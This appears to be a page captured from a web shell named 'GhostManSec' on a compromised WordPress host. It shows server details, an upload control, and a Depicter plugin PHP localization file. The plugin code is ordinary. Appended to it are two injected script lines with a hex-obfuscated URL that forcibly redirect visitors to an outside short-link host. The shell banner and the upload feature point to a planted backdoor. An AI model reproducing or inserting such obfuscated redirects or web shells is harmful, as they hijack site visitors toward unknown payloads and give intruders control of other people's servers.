GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/Services/I18nService.php
<?php
namespace Depicter\Services;

class I18nService
{
	/**
	 * @var string
	 */
	public $phpFileUrl;

	/**
	 * @var string
	 */
	public $jsonUrl;

	/**
	 * @var string
	 */
	public $json;

	/**
	 * I18nService constructor.
	 *
	 * @param $phpFileUrl
	 * @param $jsonUrl
	 */
	public  function __construct( $phpFileUrl, $jsonUrl )
	{
		$this->phpFileUrl = $phpFileUrl;
		$this->jsonUrl = $jsonUrl;
		$this->readJson();
		$this->run();
	}

	/**
	 * read json file
	 *
	 * @return void
	 */
	public function readJson() {
		$this->json = file_get_contents( $this->jsonUrl );
	}

	public function run() {
		$data = json_decode( $this->json, true );

		$newTexts = "\t\t\t/** ==EditorLocalizationList==START== **/\n\t\t\t";
		foreach ( $data as $key => $value ) {

			$key = str_replace(array("\r\n", "\n", "\r"), '\n', $key);
			$key = str_replace(array("'"), "\'", $key);
			$newTexts .= "'".$key."' => __('".$key."', 'depicter'),\n\t\t\t";
		}
		$newTexts .= "/** ==EditorLocalizationList==END== **/\n";

		$this->searchAndReplacePhpFile( $newTexts );
	}

	/**
	 * search and replace php file for new texts
	 * @param $newTexts
	 */
	public function searchAndReplacePhpFile( $newTexts ) {
		$lines = file( $this->phpFileUrl );
		$startLine = 0;
		$endLine = 0;
		foreach ( $lines as $lineNumber => $line ) {
			if ( $lineNumber == 0 ) {
				continue;
			}

			if ( strpos( "'" . $line ."'", '/** ==EditorLocalizationList==START== **/' ) !== false ) {
				$startLine = $lineNumber;
			}

			if ( strpos( $line, '/** ==EditorLocalizationList==END== **/' ) !== false ) {
				$endLine = $lineNumber;
			}

			if ( $lineNumber >= $startLine && $startLine ) {
				unset( $lines[ $lineNumber ] );
			}

			if ( $lineNumber == $endLine ) {
				$lines[ $lineNumber ] = $newTexts;
				break;
			}
		}
		ksort( $lines );
		file_put_contents( $this->phpFileUrl, implode( '', $lines ) );
	}
}

$editorLocalizeFile =  'app/src/Editor/EditorLocalization.php';
$jsonFile = 'resources/scripts/i18n/en/locale.json';
$translateHandler = new I18nService( $editorLocalizeFile, $jsonFile );
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>